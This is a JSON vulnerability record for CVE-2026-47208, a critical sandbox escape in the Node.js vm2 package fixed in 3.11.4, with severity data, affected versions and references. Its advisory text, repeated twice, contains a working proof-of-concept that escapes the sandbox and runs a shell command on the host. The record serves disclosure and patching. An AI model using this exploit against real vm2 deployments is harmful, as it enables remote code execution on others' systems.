{"id":"CVE-2026-47208","aliases":["CLSA-2026-1787860907","EUVD-2026-36447","GHSA-2cm2-m3w5-gp2f","GHSA-76w7-j9cq-rx2j","GHSA-m5w8-4gq2-6f8x","GHSA-q3fm-4wcw-g57x","GHSA-v836-6xw4-9cx3","ROOT-APP-NPM-CVE-2026-47208"],"status":"published","title":"vm2: Sandbox Breakout Using Promise Species","description":"vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This issue has been patched in version 3.11.4.","severity":{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.01038,"percentile":0.64242,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-913"],"published":"2026-05-29T17:40:15Z","modified":"2026-10-28T02:30:29Z","fixes":[{"ecosystem":"npm","package":"vm2","fixed_in":["3.11.4"],"sources":["ghsa","osv"]},{"ecosystem":"Root:npm","package":"vm2","fixed_in":["3.9.17-aikido.11","3.9.17-aikido.12","3.11.3-aikido.1","3.11.3-aikido.2","3.9.17-aikido.13","3.11.3-aikido.3","3.9.17-aikido.7","3.9.17-aikido.8","3.9.17-aikido.9","3.9.17-aikido.10","3.9.7-aikido.5","3.9.7-aikido.6"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"@rootio/vm2","fixed_in":["3.9.17-root.io.11","3.9.17-root.io.12","3.11.3-root.io.1","3.11.3-root.io.2","3.9.17-root.io.13","3.11.3-root.io.3","3.9.17-root.io.7","3.9.17-root.io.8","3.9.17-root.io.9","3.9.17-root.io.10","3.9.7-root.io.5","3.9.7-root.io.6"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.11.3"},{"fixed":"3.11.4"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.10.0-tuxcare.0"},{"fixed":"3.10.0-tuxcare.1"}]}],"versions":["3.10.0"],"bundled":30},{"source":"osv","ecosystem":"npm","package":"vm2","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.11.4"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.9.17-aikido.11"},{"fixed":"3.9.17-aikido.12"},{"fixed":"3.11.3-aikido.1"},{"fixed":"3.11.3-aikido.2"},{"fixed":"3.9.17-aikido.13"},{"fixed":"3.11.3-aikido.3"},{"fixed":"3.9.17-aikido.7"},{"fixed":"3.9.17-aikido.8"},{"fixed":"3.9.17-aikido.9"},{"fixed":"3.9.17-aikido.10"},{"fixed":"3.9.7-aikido.5"},{"fixed":"3.9.7-aikido.6"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.9.17-root.io.11"},{"fixed":"3.9.17-root.io.12"},{"fixed":"3.11.3-root.io.1"},{"fixed":"3.11.3-root.io.2"},{"fixed":"3.9.17-root.io.13"},{"fixed":"3.11.3-root.io.3"},{"fixed":"3.9.17-root.io.7"},{"fixed":"3.9.17-root.io.8"},{"fixed":"3.9.17-root.io.9"},{"fixed":"3.9.17-root.io.10"},{"fixed":"3.9.7-root.io.5"},{"fixed":"3.9.7-root.io.6"}]}]}],"products":[{"vendor":"patriksimek","product":"vm2"}],"references":[{"url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-76w7-j9cq-rx2j","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/patriksimek/vm2/commit/a462655009669c3124ee39498121651597529ea8","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/patriksimek/vm2/releases/tag/v3.11.4","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-47208","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-76w7-j9cq-rx2j"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/47xxx/CVE-2026-47208.json","tags":["advisory"]},{"url":"https://github.com/patriksimek/vm2","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-47208","title":"vm2: Sandbox Breakout Using Promise Species","description":"vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This issue has been patched in version 3.11.4.","status":"published","published":"2026-06-12T14:16:22.726Z","modified":"2026-06-13T03:55:58.987Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"cna"}],"cwes":["CWE-913"],"updated_at":"2026-11-02T13:36:51.6229Z"}],"euvd":[{"id":"EUVD-2026-36447","description":"vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This issue has been patched in version 3.11.4.","status":"published","published":"2026-06-12T14:16:22Z","modified":"2026-06-13T03:55:58Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T18:20:43.222Z"}],"ghsa":[{"id":"GHSA-76w7-j9cq-rx2j","title":"vm2 is Vulnerable to Sandbox Breakout Through Promise Species","description":"### Summary\n\nVM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.\n\n### Details\n\nThe `localPromise` constructor was changed to call `this.then(undefined, eater)` to ensure a rejected promise is always used. However, this is missing a call to `resetPromiseSpecies` to ensure that `this` has no special species. Since the species can be changed a custom promise can be used to supply a custom reject method to the executor allowing to get a raw host error and escape the sandbox.\n\n### PoC\n\n```js\nconst {VM} = require(\"vm2\");\nconst vm = new VM();\nvm.run(`\nclass E extends Error {}\nfunction so(d) {\n\tif (d \u003e 0) so(d-1);\n\tconst e = new E();\n\te.stack;\n\tthrow e;\n}\nlet ex, ct;\nclass FakePromise extends Promise {\n\tstatic get [Symbol.species](){return ct;}\n}\nfunction doCatch(f) {\n\tex=undefined;\n\tconst p=Promise.withResolvers();\n\tct = function(e){e(f, v=\u003e{ex=v;p.resolve();})};\n\tnew FakePromise(r=\u003er());\n\treturn p.promise;\n}\n(async function f(s) {\n\tlet min = s;\n\tlet max = 100000;\n\twhile (min\u003cmax) {\n\t\tconst mid = (min+max)\u003e\u003e1;\n\t\tawait doCatch(()=\u003eso(mid));\n\t\tif (ex.name===\"RangeError\" \u0026\u0026 !(ex instanceof RangeError)) {\n\t\t\tex.constructor.constructor(\"return process\")().mainModule.require('child_process').execSync('touch pwned');\n\t\t\treturn;\n\t\t}\n\t\tif (ex instanceof E) {\n\t\t\tmin = mid+1;\n\t\t} else {\n\t\t\tmax = mid;\n\t\t}\n\t}\n\tf(s+1);\n})(0);\n`);\n```\n\n### Impact\n\nAttackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.","status":"published","published":"2026-05-29T17:40:15Z","modified":"2026-06-12T20:50:55Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-913"],"updated_at":"2026-11-02T14:40:27.329706Z"}],"nvd":[{"id":"CVE-2026-47208","description":"vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This issue has been patched in version 3.11.4.","status":"published","published":"2026-06-12T15:16:28.767Z","modified":"2026-10-26T11:10:00.157Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"secondary"}],"cwes":["CWE-913"],"updated_at":"2026-11-02T14:12:23.846948Z"}],"osv":[{"id":"CVE-2026-47208","title":"vm2: Sandbox Breakout Using Promise Species","description":"vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This issue has been patched in version 3.11.4.","status":"published","published":"2026-06-12T14:16:22.726Z","modified":"2026-10-28T02:30:29.179145405Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-913"],"updated_at":"2026-11-02T15:45:06.231145Z"},{"id":"GHSA-76w7-j9cq-rx2j","title":"vm2 is Vulnerable to Sandbox Breakout Through Promise Species","description":"### Summary\n\nVM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.\n\n### Details\n\nThe `localPromise` constructor was changed to call `this.then(undefined, eater)` to ensure a rejected promise is always used. However, this is missing a call to `resetPromiseSpecies` to ensure that `this` has no special species. Since the species can be changed a custom promise can be used to supply a custom reject method to the executor allowing to get a raw host error and escape the sandbox.\n\n### PoC\n\n```js\nconst {VM} = require(\"vm2\");\nconst vm = new VM();\nvm.run(`\nclass E extends Error {}\nfunction so(d) {\n\tif (d \u003e 0) so(d-1);\n\tconst e = new E();\n\te.stack;\n\tthrow e;\n}\nlet ex, ct;\nclass FakePromise extends Promise {\n\tstatic get [Symbol.species](){return ct;}\n}\nfunction doCatch(f) {\n\tex=undefined;\n\tconst p=Promise.withResolvers();\n\tct = function(e){e(f, v=\u003e{ex=v;p.resolve();})};\n\tnew FakePromise(r=\u003er());\n\treturn p.promise;\n}\n(async function f(s) {\n\tlet min = s;\n\tlet max = 100000;\n\twhile (min\u003cmax) {\n\t\tconst mid = (min+max)\u003e\u003e1;\n\t\tawait doCatch(()=\u003eso(mid));\n\t\tif (ex.name===\"RangeError\" \u0026\u0026 !(ex instanceof RangeError)) {\n\t\t\tex.constructor.constructor(\"return process\")().mainModule.require('child_process').execSync('touch pwned');\n\t\t\treturn;\n\t\t}\n\t\tif (ex instanceof E) {\n\t\t\tmin = mid+1;\n\t\t} else {\n\t\t\tmax = mid;\n\t\t}\n\t}\n\tf(s+1);\n})(0);\n`);\n```\n\n### Impact\n\nAttackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.","status":"published","published":"2026-05-29T17:40:15Z","modified":"2026-06-12T21:00:09.205947694Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-913"],"updated_at":"2026-11-02T15:46:40.657155Z"},{"id":"ROOT-APP-NPM-CVE-2026-47208","title":"CVE-2026-47208 in vm2 - Patched by Root","description":"Root has patched CVE-2026-47208 in the vm2 package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-09-30T06:02:29Z","modified":"2026-09-30T07:15:09.732949861Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T15:53:27.649662Z"},{"id":"CLSA-2026-1787860907","title":"TuxCare security update for vm2 (34 CVEs)","description":"TuxCare rebuilt vm2 to address 34 CVEs. Fixed in 3.10.0-tuxcare.1.","status":"published","published":"2026-08-27T20:01:47Z","modified":"2026-10-15T09:48:03.095721636Z","updated_at":"2026-11-02T15:43:47.591214Z"}]}}